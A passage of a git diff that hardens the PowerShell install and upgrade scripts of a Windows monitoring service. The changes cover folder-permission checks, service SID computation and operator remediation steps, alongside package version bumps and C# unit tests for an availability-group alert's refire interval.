         (New-Object System.Security.Principal.NTAccount('NT SERVICE\TrustedInstaller')).Translate($sidType),
         [Security.Principal.WindowsIdentity]::GetCurrent().User)
-    if ($existingServiceAccount) {
-        $serviceSid = Resolve-DarlingServiceAccountSid $existingServiceAccount
-        if ($serviceSid) { $trusted += $serviceSid }
-    }
     $adminMembers = Get-LocalAdministratorsDirectMemberSids
     if ($adminMembers) { $trusted += $adminMembers }
     return $trusted
 }
 
-# The pre-lock trusted set for a RE-RUN over a possibly-already-registered service, failing closed with a
+# The accounts the service runs as, for Get-UntrustedWriteGrantees -ServiceSids (#5627): the SID this product's
+# own service gets, 'NT SERVICE\<serviceName>', whether or not that service is registered right now and whatever
+# account it logs on as today, plus $existingServiceAccount, the CURRENT logon account of an ALREADY-REGISTERED
+# service, when the caller has one (round-1 review, #4043). A re-run of install-darling.ps1 over a tree #4038
+# already locked - a repair, or this script used as its own upgrade path - is not a fresh extraction: the lock
+# already granted that account Modify on its folders. The service extracted pg-runtime and owns it by design, and
+# that owner stays whoever ran the service WHEN it extracted - which is not the current logon account once the
+# service has been deleted, renamed or pointed at another account since. Only OUR service name is derived: no
+# other NT SERVICE\* SID, and not the NT SERVICE authority as a whole, so a tree owned by a different service's
+# SID is still a finding. The account is resolved through Resolve-DarlingServiceAccountSid; a name that will not
+# translate is left out rather than thrown on here - see Get-DarlingPreLockTrustedSidsForRerun for the caller
+# that refuses instead of silently dropping it (L4).
+function Get-DarlingServiceSids([string]$existingServiceAccount, [string]$serviceName) {
+    $sids = @()
+    if ($existingServiceAccount) {
+        $serviceSid = Resolve-DarlingServiceAccountSid $existingServiceAccount
+        if ($serviceSid) { $sids += $serviceSid }
+    }
+    if ($serviceName) {
+        # Computed, not looked up: Windows answers 'NT SERVICE\<name>' only while a service of that name is
+        # registered, and the SID that owns pg-runtime outlives the registration. The SID is the one Windows
+        # derives from the name (what sc.exe showsid prints): SHA-1 of the upper-cased name in UTF-16LE, its first
+        # 20 bytes read as five little-endian integers under S-1-5-80. Windows folds case with its own table and
+        # .NET with the invariant culture; they agree for plain ASCII, so a name outside it is not computed.
+        try {
+            if ($serviceName -notmatch '^[\x20-\x7E]+$') { throw 'the service name is not plain ASCII' }
+            $nameHash = [System.Security.Cryptography.SHA1]::Create().ComputeHash([System.Text.Encoding]::Unicode.GetBytes($serviceName.ToUpperInvariant()))
+            $nameParts = 0..4 | ForEach-Object { [BitConverter]::ToUInt32($nameHash, $_ * 4) }
+            $sids += New-Object System.Security.Principal.SecurityIdentifier("S-1-5-80-$($nameParts -join '-')")
+        }
+        catch {
+            Write-Host "WARNING: could not work out the Windows SID of NT SERVICE\$serviceName ($($_.Exception.Message)), so files that account owns will be listed." -ForegroundColor Yellow
+        }
+    }
+    return $sids
+}
+
+# The pre-lock trusted sets for a RE-RUN over a possibly-already-registered service, failing closed with a
 # clear message instead of silently mis-trusting or mis-refusing (round-1 review, #4043, L3/L4). Two
 # distinct ways the existing service's account can defeat the pre-lock check if let through quietly:
 # Windows cannot say what it is AT ALL (L3 - Get-DarlingServiceLogonName returns nothing; this is 1b2's own
@@ -326,11 +418,14 @@ function Get-DarlingPreLockTrustedSids([string]$existingServiceAccount) {
 # operator to re-extract a perfectly good install, or worse, trains them to reach for
 # -AcceptWritableExtraction on sight.
 #
+# Returns Trusted (the base set, for Get-UntrustedWriteGrantees) and ServiceSids (for its -ServiceSids).
 # $existingService is the Get-Service result (or $null) the caller already has, not re-queried here, so a
 # caller that already asked does not ask Windows the same question again on every call. Kept byte-identical
 # in install-darling.ps1 and upgrade-darling.ps1.
 function Get-DarlingPreLockTrustedSidsForRerun([string]$serviceName, $existingService) {
-    if (-not $existingService) { return Get-DarlingPreLockTrustedSids $null }
+    if (-not $existingService) {
+        return [pscustomobject]@{ Trusted = @(Get-DarlingPreLockTrustedSids); ServiceSids = @(Get-DarlingServiceSids $null $serviceName) }
+    }
 
     $existingAccount = Get-DarlingServiceLogonName $serviceName
     if (-not $existingAccount) {
@@ -339,7 +434,145 @@ function Get-DarlingPreLockTrustedSidsForRerun([string]$serviceName, $existingSe
     if (-not (Resolve-DarlingServiceAccountSid $existingAccount)) {
         Fail "The existing '$serviceName' service logs on as '$existingAccount', which could not be resolved to a SID right now (its domain may be unreachable, or the account may no longer exist). The install folder cannot be safely checked or locked without knowing whether its own grant belongs to that account. Verify the account is reachable, then re-run this script."
     }
-    return Get-DarlingPreLockTrustedSids $existingAccount
+    return [pscustomobject]@{ Trusted = @(Get-DarlingPreLockTrustedSids); ServiceSids = @(Get-DarlingServiceSids $existingAccount $serviceName) }
+}
+
+# The absolute paths darling.json names that sit inside $folder (#5627): the store (postgres.dataDirectory), a
+# certificate or key (a tls pfxPath, certPath or keyPath) and any 'file:' reference. Returns Lines, each one
+# '"path" (what names it)', and Incomplete, true when a value was left out or the list was cut. A regex over the
+# comment-stripped text, as Get-DarlingExtraServiceWriteDirectories does, because Windows PowerShell 5.1's
+# ConvertFrom-Json rejects comments and trailing commas. Each value is read on its own, so one that cannot be read as a path
+# is left out and the rest still print: a value holding a control character, a line break or any of < > | " is
+# left out, so is one over 260 characters, and at most 10 are listed. A darling.json that cannot be read counts
+# as Incomplete; a missing one names nothing. Kept byte-identical in install-darling.ps1 and
+# upgrade-darling.ps1.
+function Get-DarlingConfiguredPathsUnder([string]$folder) {
+    $config = Join-Path $folder 'darling.json'
+    if (-not (Test-Path -LiteralPath $config -PathType Leaf)) { return [pscustomobject]@{ Lines = @(); Incomplete = $false } }
+    try { $text = Get-Content -LiteralPath $config -Raw -ErrorAction Stop }
+    catch { return [pscustomobject]@{ Lines = @(); Incomplete = $true } }
+    $stripped = ($text -split "`r?`n" | ForEach-Object { $_ -replace '(?<!:)//.*$', '' }) -join "`n"
+    $named = @()
+    foreach ($match in [regex]::Matches($stripped, '"(dataDirectory|pfxPath|certPath|keyPath)"\s*:\s*"((?:[^"\\]|\\.)*)"', 'IgnoreCase')) {
+        $what = if ($match.Groups[1].Value -ieq 'dataDirectory') { 'postgres.dataDirectory' } else { $match.Groups[1].Value }
+        $named += , @($what, $match.Groups[2].Value)
+    }
+    foreach ($match in [regex]::Matches($stripped, '"file:\s*((?:[^"\\]|\\.)*)"')) {
+        $named += , @('a file: reference', $match.Groups[1].Value)
+    }
+    $found = @()
+    $incomplete = $false
+    foreach ($pair in $named) {
+        try {
+            $value = ($pair[1] -replace '\\\\', '\').Trim()
+            if ($value.Length -gt 260 -or $value -match '[\p{C}\p{Zl}\p{Zp}<>|"]') { $incomplete = $true; continue }
+            if ($value -and [IO.Path]::IsPathRooted($value) -and (Test-PathIsAtOrUnder $value $folder)) {
+                $found += "`"$value`" ($($pair[0]))"
+            }
+        }
+        catch { $incomplete = $true }
+    }
+    $found = @($found | Select-Object -Unique)
+    if ($found.Count -gt 10) { $found = @($found | Select-Object -First 10); $incomplete = $true }
+    return [pscustomobject]@{ Lines = $found; Incomplete = $incomplete }
+}
+
+# Where the new zip goes (#5627). Under C:\Program Files already, the folder to use is a different one.
+function Get-DarlingNewFolderPhrase([string]$oldFolder) {
+    if (Test-PathIsAtOrUnder $oldFolder $env:ProgramFiles) { return 'a new, empty folder with a different name under C:\Program Files.' }
+    return 'a new, empty folder named C:\Program Files\PerformanceMonitorDarling. If that name is taken, use another new name under C:\Program Files.'
+}
+
+# The numbered steps for replacing the folder of an EXISTING install whose pre-lock check refused (#5627), for a
+# service that runs from that folder: the service, its darling.json and its store are kept and only the program folder
+# is replaced. Everything the steps rely on was read from install-darling.ps1: the service is re-pointed in place (only
+# its binary path changes, its logon account and credentials are left alone), darling.json is the one file the zip does
+# not ship that an install needs (without it the sample config is copied in), pg-runtime comes back from the new
+# zip's pg-runtime.zip, and the store lives under %ProgramData%\PerformanceMonitorDarling unless darling.json sets
+# postgres.dataDirectory. Anything darling.json names inside the old folder is listed in the last step, so the
+# folder is deleted only after it has been moved; when a value could not be listed, the step says to check darling.json
+# for paths inside the folder. Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingExistingInstallSteps([string]$oldFolder, [string]$serviceName) {
+    $newFolder = Get-DarlingNewFolderPhrase $oldFolder
+    $configured = Get-DarlingConfiguredPathsUnder $oldFolder
+    $inside = @($configured.Lines)
+    $last = if ($inside.Count -gt 0) {
+        $list = ($inside | ForEach-Object { "       $_." }) -join "`n"
+        $unlisted = if ($configured.Incomplete) { "`n     Not every value in darling.json was listed here. Check it for other paths inside $oldFolder." } else { '' }
+        "  6. Do not delete $oldFolder yet. darling.json names these paths inside it:`n$list$unlisted`n     Move each one to a folder outside it, and update darling.json to the new place.`n     Then, once the service is collecting, delete $oldFolder."
+    }
+    elseif ($configured.Incomplete) {
+        "  6. Do not delete $oldFolder yet. Not every value in darling.json was listed here. Check it for paths`n     inside $oldFolder. Move each one to a folder outside it, and update darling.json to the new place.`n     Then, once the service is collecting, delete $oldFolder."
+    }
+    else {
+        "  6. Delete $oldFolder once the service is collecting."
+    }
+    return @"
+This folder already holds an install, so the installed folder itself needs replacing. Your service, your
+darling.json and your store are kept. To move to a new folder:
+
+  1. Stop the '$serviceName' service and leave it stopped until step 5.
+  2. In an elevated session, extract the new zip into
+     $newFolder
+  3. Open darling.json in $oldFolder
+     and check that every setting in it is yours. Then copy it into the new folder before anything else,
+     and go straight on to step 4. Without it, install-darling.ps1 copies the SAMPLE config in.
+     If darling.json names a certificate or key file in this folder, make a new one. Keep it outside the
+     install folder, and point darling.json at it. These are the tls pfxPath, certPath and keyPath settings.
+     Do not copy a darling-keys folder: the service makes its own.
+     A darling.json.bak-* backup is optional.
+  4. In an elevated session, run install-darling.ps1 from the new folder. It points the existing service
+     at the new folder. It changes only the service's program path. Its logon account, its credentials and
+     its store are not touched. The store is in C:\ProgramData\PerformanceMonitorDarling. If darling.json
+     sets postgres.dataDirectory, it is there instead.
+  5. Start the service and check that it collects.
+$last
+
+Do NOT try to repair this folder's permissions in place.
+"@
+}
+
+# The refusal's advice when the service is NOT registered, or runs from some other folder, so this folder is not
+# an install to keep (#5627): a fresh folder. Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingFreshFolderAdvice([string]$folder) {
+    $where = if (Test-PathIsAtOrUnder $folder $env:ProgramFiles) { 'a new, empty folder with a different name under C:\Program Files' } else { 'a new folder under C:\Program Files, or another folder only an administrator can write to' }
+    return @"
+Do NOT try to repair this folder's permissions in place. Extract the zip into $where.
+Then run install-darling.ps1 from there.
+"@
+}
+
+# The refusal's advice (#5627): the numbered steps when the registered service runs from $folder itself, that is,
+# when its ImagePath folder ($registeredFolder, from Get-DarlingInstallRootFromService) is $folder, so this folder IS
+# the install being replaced; a fresh folder otherwise, including when no service is registered or its path cannot be
+# read. Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingRefusalAdvice([string]$folder, [string]$serviceName, [string]$registeredFolder) {
+    if ($registeredFolder -and (Test-DarlingSamePath $registeredFolder $folder)) { return Get-DarlingExistingInstallSteps $folder $serviceName }
+    return Get-DarlingFreshFolderAdvice $folder
+}
+
+# True when $candidate IS $parent or sits underneath it.
+#
+# The separator is appended before the prefix test on purpose: a bare StartsWith reads C:\UsersData as
+# living under C:\Users and would refuse a perfectly good install directory. A false refusal is a worse
+# failure than the one this check exists to catch - it strands someone whose install would have worked -
+# so the boundary is the one thing here worth being exact about. Equality counts as under: an install
+# root sitting AT the profile root is exactly as unreadable as one below it.
+function Test-PathIsAtOrUnder([string]$candidate, [string]$parent) {
+    if ([string]::IsNullOrWhiteSpace($candidate) -or [string]::IsNullOrWhiteSpace($parent)) { return $false }
+
+    try {
+        # Normalizes separators, resolves . and .., and makes the comparison independent of how the path
+        # was typed. Anything GetFullPath rejects is not a path we can reason about, so it is not matched.
+        $c = [IO.Path]::GetFullPath($candidate).TrimEnd('\')
+        $p = [IO.Path]::GetFullPath($parent).TrimEnd('\')
+    }
+    catch {
+        return $false
+    }
+
+    if ($c.Equals($p, [StringComparison]::OrdinalIgnoreCase)) { return $true }
+    return $c.StartsWith($p + '\', [StringComparison]::OrdinalIgnoreCase)
 }
 function Good([string]$message) { Write-Host $message -ForegroundColor Green }
 function Warn([string]$message) { Write-Host "WARNING: $message" -ForegroundColor Yellow }
@@ -433,7 +666,7 @@ function Get-DarlingExtraServiceWriteDirectories([string]$root, [string]$configP
     # folder outside the tree the lock covers, so it needs no grant from here.
     $configDir = [System.IO.Path]::GetDirectoryName($configPath).TrimEnd('\')   # Split-Path -LiteralPath -Parent is ambiguous on PowerShell 5.1
     if ($configDir -ine $root.TrimEnd('\')) { return @() }
-    return @('darling-keys')
+    return @((Get-DarlingServiceWrittenNames).KeyDirectories)
 }
 
 function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string[]]$extraServiceDirectories = @()) {
@@ -487,7 +720,7 @@ function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string
     # Each is created ahead of time if missing - best-effort, since a directory this lock cannot create is a
     # directory the first extraction would have had to create itself, root-owned, which is no better - and
     # then granted Modify with its own icacls call, so a failure on one directory does not lose the others.
-    $serviceWriteDirectories = @('pg-runtime', 'pg-runtime-prev') + @($extraServiceDirectories | Where-Object { $_ })
+    $serviceWriteDirectories = @((Get-DarlingServiceWrittenNames).Directories) + @($extraServiceDirectories | Where-Object { $_ })
 
     # icacls, not Set-Acl: Set-Acl on what Get-Acl read writes the SACL too, which needs SeSecurityPrivilege, and
     # icacls is what the warnings tell an operator to run by hand, so the fix and the remediation are the same
@@ -506,7 +739,7 @@ function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string
     if ($LASTEXITCODE -ne 0) { $open += "$root (could not make Administrators the owner of everything below it; run elevated: $($output | Select-Object -First 1))" }
     $serviceWritePaths = @()
     if ($serviceSid) {
-        foreach ($secret in @(Get-ChildItem -LiteralPath $root -Force -File -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq 'darling.json' -or $_.Name -like 'darling.json.bak-*' })) {
+        foreach ($secret in @(Get-ChildItem -LiteralPath $root -Force -File -ErrorAction SilentlyContinue | Where-Object { Test-DarlingServiceWrittenFileName $_.Name })) {
             $null = & icacls.exe $secret.FullName /setowner "*$($serviceSid.Value)" /L /Q 2>&1
         }
         foreach ($dir in $serviceWriteDirectories) {
@@ -553,14 +786,14 @@ function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string
         # darling.json and its backups: step 4b gives the service an explicit FullControl there (#1647) and the setowner
         # above makes it the owner, so the service is trusted on those files too. Without this the walk strips the
         # service's own grant from its config (the explicit-ACE branch below) and the service cannot start.
-        $isSecretFile = $target.Name -eq 'darling.json' -or $target.Name -like 'darling.json.bak-*'
+        $isSecretFile = (-not $target.PSIsContainer) -and ([IO.Path]::GetDirectoryName($path).TrimEnd('\') -ieq $root.TrimEnd('\')) -and (Test-DarlingServiceWrittenFileName $target.Name)
         if ($serviceSid -and ($path.TrimEnd('\') -ieq $root.TrimEnd('\') -or $isServiceWritePath -or $isSecretFile)) { $trustedHere += $serviceSid }
         try { $acl = Get-Acl -LiteralPath $path -ErrorAction Stop }
         catch { $open += "$path (its permissions could not be read)"; continue }
         $explicit = @($acl.GetAccessRules($true, $false, $sidType) | Where-Object {
             $_.AccessControlType -eq $allow -and (([int64]$_.FileSystemRights) -band $write) -ne 0 -and $trustedHere -notcontains $_.IdentityReference })
         if ($explicit.Count -gt 0) {
-            if ($target.Name -eq 'darling.json' -or $target.Name -like 'darling.json.bak-*') {
+            if ($isSecretFile) {
                 foreach ($rule in $explicit) { $null = & icacls.exe $path /remove:g "*$($rule.IdentityReference.Value)" /L /Q 2>&1 }
             }
             else {
@@ -1574,31 +1807,33 @@ function New-DarlingProtectedStagingFolder {
 # Skipped for -PruneOnly and -ListRollbacks, which exit above this and touch nothing but the rollback
 # backups this script itself created.
 #
-# $preLockTrusted is computed once, here, and reused below for the -Source folder check too - both ask the
-# same question of the same registered service, and there is no reason to query it twice.
-$preLockTrusted = Get-DarlingPreLockTrustedSidsForRerun $serviceName (Get-Service -Name $serviceName -ErrorAction SilentlyContinue)
+# $preLockTrusted is computed once, here. The -Source folder and SHA256SUMS checks below use $sourceTrusted instead:
+# a source build is a folder the service never writes to, so the service's own account is trusted nowhere in it.
+$existingService = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
+$preLockTrusted = Get-DarlingPreLockTrustedSidsForRerun $serviceName $existingService
+$sourceTrusted = @(Get-DarlingPreLockTrustedSids)
 if (-not $AcceptWritableExtraction) {
-    $writable = @(Get-UntrustedWriteGrantees $InstallRoot $preLockTrusted -Recurse)
+    $writable = @(Get-UntrustedWriteGrantees $InstallRoot $preLockTrusted.Trusted -Recurse -ServiceSids $preLockTrusted.ServiceSids -ServiceDirectories @(Get-DarlingExtraServiceWriteDirectories $InstallRoot (Join-Path $InstallRoot $configName)))
     if ($writable.Count -gt 0) {
         $lines = ($writable | Select-Object -First 20 | ForEach-Object { "  $_" }) -join "`n"
         $more = if ($writable.Count -gt 20) { "`n  ...and $($writable.Count - 20) more." } else { '' }
         Fail @"
-This install directory is already writable by ordinary users, before this upgrade has locked anything down:
+This install directory is already writable by ordinary users, before this upgrade locks anything down:
 
 $lines$more
 
-A tree installed before #4038 was writable by the principals above for its whole life, so files in it may
-already have been replaced with something other than what an earlier build shipped - an in-place upgrade
-only overlays what THIS build ships, it does not verify the rest.
+A tree installed before #4038 was writable by the accounts above for its whole life. An in-place upgrade
+only copies over what this build ships. It does not check the rest, so other files in the tree can differ
+from what an earlier build shipped.
+
+$(Get-DarlingRefusalAdvice $InstallRoot $serviceName (Get-DarlingInstallRootFromService $serviceName))
 
-The safe path is a fresh install into a folder only an administrator can write to (install-darling.ps1 into
-a new folder), not an upgrade over this one. If you accept the risk of upgrading this tree in place anyway,
-re-run with -AcceptWritableExtraction.
+If you accept the risk of upgrading this tree in place anyway, re-run with -AcceptWritableExtraction.
 
-This only fires once for a given tree: the lock this upgrade applies next closes it against further writes,
-so a later upgrade of this same install will already be locked and pass straight through.
+This refusal happens once for a given tree. The lock this upgrade applies next closes the folder to further
+writes, so a later upgrade of this install passes straight through.
 
-Nothing has been stopped or copied.
+Nothing was stopped or copied.
 "@
     }
 }
@@ -1678,7 +1913,7 @@ if ($sourceIsZip) {
         # original sat.
         $sums = Join-Path $sourceRoot 'SHA256SUMS.txt'
         if (Test-Path -LiteralPath $sums) {
-            $sumsFolderWritable = @(Get-UntrustedWriteGrantees $sourceRoot $preLockTrusted -Recurse)
+            $sumsFolderWritable = @(Get-UntrustedWriteGrantees $sourceRoot $sourceTrusted -Recurse)
             if ($sumsFolderWritable.Count -gt 0) {
                 $lines = ($sumsFolderWritable | Select-Object -First 20 | ForEach-Object { "  $_" }) -join "`n"
                 $more = if ($sumsFolderWritable.Count -gt 20) { "`n  ...and $($sumsFolderWritable.Count - 20) more." } else { '' }
@@ -1743,7 +1978,7 @@ else {
     # notice. Same recursive check install-darling.ps1 runs at 1a (round-1 review, M2), same trusted set,
     # same override.
     if (-not $AcceptWritableExtraction) {
-        $writable = @(Get-UntrustedWriteGrantees $Source $preLockTrusted -Recurse)
+        $writable = @(Get-UntrustedWriteGrantees $Source $sourceTrusted -Recurse)
         if ($writable.Count -gt 0) {
             $lines = ($writable | Select-Object -First 20 | ForEach-Object { "  $_" }) -join "`n"
             $more = if ($writable.Count -gt 20) { "`n  ...and $($writable.Count - 20) more." } else { '' }
@@ -1917,7 +2152,7 @@ function Invoke-UpgradeTreeLock([string]$when) {
         Good "Install folder locked ${when}: only SYSTEM and Administrators can change what runs from $InstallRoot; $logonAccount can write only its runtime folders."
         return
     }
-    Warn ("Ordinary users can still change {0} path(s) in the install folder, and the service runs from there as {1}, so anyone who can replace a binary can run code as that account. First: {2}. Fix from an elevated prompt with: icacls `"{3}`" /inheritance:d, then icacls `"{3}`" /remove:g *S-1-5-11 *S-1-5-32-545 *S-1-1-0 *S-1-5-4, then icacls `"{3}`" /grant `"*S-1-5-32-545:(OI)(CI)RX`" /grant `"{1}:(OI)(CI)M`", then icacls `"{3}`" /setowner *S-1-5-32-544 /T /C /L. A path listed as owned by an account, or below the folder, needs its own fix: icacls `"<path>`" /setowner *S-1-5-32-544 /L, then icacls `"<path>`" /reset /T /C. Remove any junction or link it names." -f $open.Count, $logonAccount, (($open | Select-Object -First 5) -join ', '), $InstallRoot)
+    Warn ("Ordinary users can still change {0} path(s) in the install folder, and the service runs from there as {1}, so anyone who can replace a binary can run code as that account. First: {2}. Fix from an elevated prompt with: icacls `"{3}`" /inheritance:d, then icacls `"{3}`" /remove:g *S-1-5-11 *S-1-5-32-545 *S-1-1-0 *S-1-5-4, then icacls `"{3}`" /grant `"*S-1-5-32-545:(OI)(CI)RX`" /grant:r `"{1}:(OI)(CI)RX`", then icacls `"{3}`" /setowner *S-1-5-32-544 /T /C /L. A path listed as owned by an account, or below the folder, needs its own fix: icacls `"<path>`" /setowner *S-1-5-32-544 /L, then icacls `"<path>`" /reset /T /C. Remove any junction or link it names." -f $open.Count, $logonAccount, (($open | Select-Object -First 5) -join ', '), $InstallRoot)
 }
 
 Invoke-UpgradeTreeLock 'before the backup and the copy'
diff --git a/Directory.Build.props b/Directory.Build.props
index c89738c72c..d3396d73e1 100644
--- a/Directory.Build.props
+++ b/Directory.Build.props
@@ -15,7 +15,7 @@
     agree with the XML read, so the ordering is enforced rather than remembered.
   -->
   <PropertyGroup>
-    <Version>3.9.0</Version>
+    <Version>3.10.0</Version>
     <IncludeSourceRevisionInInformationalVersion>false</IncludeSourceRevisionInInformationalVersion>
   </PropertyGroup>
 
diff --git a/Directory.Packages.props b/Directory.Packages.props
index ae75c1eb19..4821d2562b 100644
--- a/Directory.Packages.props
+++ b/Directory.Packages.props
@@ -8,15 +8,16 @@
     <ManagePackageVersionsCentrally>true</ManagePackageVersionsCentrally>
   </PropertyGroup>
   <ItemGroup>
-    <PackageVersion Include="AWSSDK.PI" Version="4.0.100.14" />
-    <PackageVersion Include="AWSSDK.RDS" Version="4.0.105.3" />
-    <PackageVersion Include="BlackwellSystems.Gcf" Version="1.0.0" />
+    <PackageVersion Include="AWSSDK.PI" Version="4.0.100.15" />
+    <PackageVersion Include="AWSSDK.RDS" Version="4.0.106.1" />
+    <PackageVersion Include="AWSSDK.SecurityToken" Version="4.0.101.1" />
+    <PackageVersion Include="BlackwellSystems.Gcf" Version="1.1.0" />
     <PackageVersion Include="CredentialManagement" Version="1.0.2" />
     <PackageVersion Include="DuckDB.NET.Bindings.Full" Version="1.5.5" />
     <PackageVersion Include="DuckDB.NET.Data" Version="1.5.5" />
     <PackageVersion Include="Hardcodet.NotifyIcon.Wpf" Version="2.0.1" />
-    <PackageVersion Include="Microsoft.Data.SqlClient" Version="7.1.0" />
-    <PackageVersion Include="Microsoft.Data.SqlClient.Extensions.Azure" Version="7.1.0" />
+    <PackageVersion Include="Microsoft.Data.SqlClient" Version="7.1.1" />
+    <PackageVersion Include="Microsoft.Data.SqlClient.Extensions.Azure" Version="7.1.1" />
     <PackageVersion Include="Microsoft.Extensions.Configuration" Version="10.0.12" />
     <PackageVersion Include="Microsoft.Extensions.Configuration.Json" Version="10.0.12" />
     <PackageVersion Include="Microsoft.Extensions.Hosting" Version="10.0.12" />
@@ -30,7 +31,7 @@
     <PackageVersion Include="ScottPlot.WPF" Version="5.1.59" />
     <PackageVersion Include="System.IO.FileSystem.AccessControl" Version="5.0.0" />
     <PackageVersion Include="System.Security.Cryptography.ProtectedData" Version="10.0.12" />
-    <PackageVersion Include="Velopack" Version="1.2.158" />
+    <PackageVersion Include="Velopack" Version="1.2.161" />
     <PackageVersion Include="xunit.v3" Version="4.0.1" />
   </ItemGroup>
 </Project>
\ No newline at end of file
diff --git a/Lite.Tests/AgAlertClockStepTests.cs b/Lite.Tests/AgAlertClockStepTests.cs
index daadc0fa4e..c19d3061aa 100644
--- a/Lite.Tests/AgAlertClockStepTests.cs
+++ b/Lite.Tests/AgAlertClockStepTests.cs
@@ -26,6 +26,7 @@ namespace Lite.Tests;
 public sealed class AgAlertClockStepTests
 {
     private const int ServerId = 4242;
+    /* #5493: also the refire interval the sync-behind sweeps below pass (the shape of "Server Unreachable"). */
     private static readonly TimeSpan Cooldown = TimeSpan.FromMinutes(5);
     private static readonly TimeSpan Refire = TimeSpan.FromMinutes(10);
     private static readonly DateTime Start = new(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc);
@@ -118,7 +119,7 @@ public void TheFirstSweepAfterAStepBack_StoresItsOwnClockValueAsTheDisconnectSta
     }
 
     [Fact]
-    public void ASyncBehindRepeat_AfterA10MinuteStepBack_IsHeldOneCooldownFromTheFirstSweepThatSeesTheStep()
+    public void ASyncBehindRepeat_AfterA10MinuteStepBack_IsHeldOneRefireIntervalFromTheFirstSweepThatSeesTheStep()
     {
         var e = Evaluator();
         Assert.Single(Behind(e));
@@ -134,7 +135,7 @@ public void ASyncBehindRepeat_AfterA10MinuteStepBack_IsHeldOneCooldownFromTheFir
     }
 
     [Fact]
-    public void ASyncBehindRepeat_OnAForwardClock_IsDueExactlyOneCooldownAfterTheSend()
+    public void ASyncBehindRepeat_OnAForwardClock_IsDueExactlyOneRefireIntervalAfterTheSend()
     {
         var e = Evaluator();
         Assert.Single(Behind(e));
diff --git a/Lite.Tests/AgAlertEvaluatorTests.cs b/Lite.Tests/AgAlertEvaluatorTests.cs
index f6f7c2b562..29ae9be8bf 100644
--- a/Lite.Tests/AgAlertEvaluatorTests.cs
+++ b/Lite.Tests/AgAlertEvaluatorTests.cs
@@ -22,6 +22,7 @@ namespace Lite.Tests;
 public class AgAlertEvaluatorTests
 {
     private const int ServerId = 4242;
+    /* #5493: also the refire interval the sync-behind sweeps below pass (the shape of "Server Unreachable"). */
     private static readonly TimeSpan Cooldown = TimeSpan.FromMinutes(5);
 
     private static AgReplicaReading Replica(
@@ -93,12 +94,15 @@ public void Disconnected_FiresOnTheEdge_DoesNotRepeat_ThenReconnectResolves()
         var lost = Assert.Single(e.EvaluateReplicas(ServerId, new[] { Replica(connected: "DISCONNECTED") }));
         Assert.Equal(AgAlertPolicy.ReplicaDisconnectedMetric, lost.MetricName);
         Assert.False(lost.IsResolution);
+        Assert.Equal("AG1:NODE2", lost.Context?.AgReplicaIdentity);
 
         Assert.Empty(e.EvaluateReplicas(ServerId, new[] { Replica(connected: "DISCONNECTED") }));
 
         var back = Assert.Single(e.EvaluateReplicas(ServerId, new[] { Replica(connected: "CONNECTED") }));
         Assert.Equal(AgAlertPolicy.ReplicaReconnectedMetric, back.MetricName);
         Assert.True(back.IsResolution);
+        /* Same incident identity as the firing, on both edges: the pair is one incident. */
+        Assert.Equal("AG1:NODE2", back.Context?.AgReplicaIdentity);
     }
 
     /* ---------------- #2426: the disconnect re-fire ---------------- */
@@ -289,7 +293,7 @@ builder Darling's evaluator uses — the fact names cannot drift between the SKU
     /* ---------------- sync fell behind ---------------- */
 
     [Fact]
-    public void SyncFellBehind_FiresOnce_ReFiresOnlyOnCooldown_ThenRecovers()
+    public void SyncFellBehind_FiresOnce_ReFiresOnlyOnTheRefireInterval_ThenRecovers()
     {
         var now = new DateTime(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc);
         var e = new AgAlertEvaluator(() => now);
@@ -309,6 +313,65 @@ public void SyncFellBehind_FiresOnce_ReFiresOnlyOnCooldown_ThenRecovers()
         Assert.Contains("Sales", recovered.DetailText, StringComparison.Ordinal);
     }
 
+    /* #5493: "AG Sync Fell Behind" is a state alert, the shape "Server Unreachable" has (ConnectionAlertPolicy): one
+       alert on entry, a repeat only per connection_refire_minutes (the refire interval; zero is off). */
+
+    [Fact]
+    public void SyncFellBehind_WithRefireOff_AlertsOnceAcrossManyCooldowns()
+    {
+        var now = new DateTime(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc);
+        var e = new AgAlertEvaluator(() => now);
+        var fires = 0;
+
+        for (var minute = 0; minute <= 60; minute++)
+        {
+            now = new DateTime(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc).AddMinutes(minute);
+            fires += e.EvaluateDatabases(ServerId, new[] { Database(lagSeconds: 600) }, 300, 0, TimeSpan.Zero).Count;
+        }
+
+        Assert.Equal(1, fires);
+    }
+
+    [Fact]
+    public void SyncFellBehind_WithRefireOn_RepeatsOnTheRefireInterval_AndSaysSo()
+    {
+        var start = new DateTime(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc);
+        var now = start;
+        var e = new AgAlertEvaluator(() => now);
+        var firedAtMinute = new List<int>();
+        var details = new List<string>();
+
+        for (var minute = 0; minute <= 95; minute++)
+        {
+            now = start.AddMinutes(minute);
+            foreach (var alert in e.EvaluateDatabases(ServerId, new[] { Database(lagSeconds: 600) }, 300, 0, TimeSpan.FromMinutes(30)))
+            {
+                firedAtMinute.Add(minute);
+                details.Add(alert.DetailText);
+            }
+        }
+
+        Assert.Equal(new[] { 0, 30, 60, 90 }, firedAtMinute.ToArray());
+        Assert.DoesNotContain("Still behind", details[0], StringComparison.Ordinal);
+        Assert.StartsWith("Still behind (re-alerting every 30 min).", details[1], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SyncFellBehind_RecoveringAndFallingBehindAgain_IsANewOccurrenceWithItsOwnAlert()
+    {
+        var now = new DateTime(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc);
+        var e = new AgAlertEvaluator(() => now);
+
+        Assert.Single(e.EvaluateDatabases(ServerId, new[] { Database(lagSeconds: 600) }, 300, 0, TimeSpan.Zero));
+        now = now.AddMinutes(1);
+        Assert.Single(e.EvaluateDatabases(ServerId, new[] { Database(lagSeconds: 0) }, 300, 0, TimeSpan.Zero));
+        now = now.AddMinutes(1);
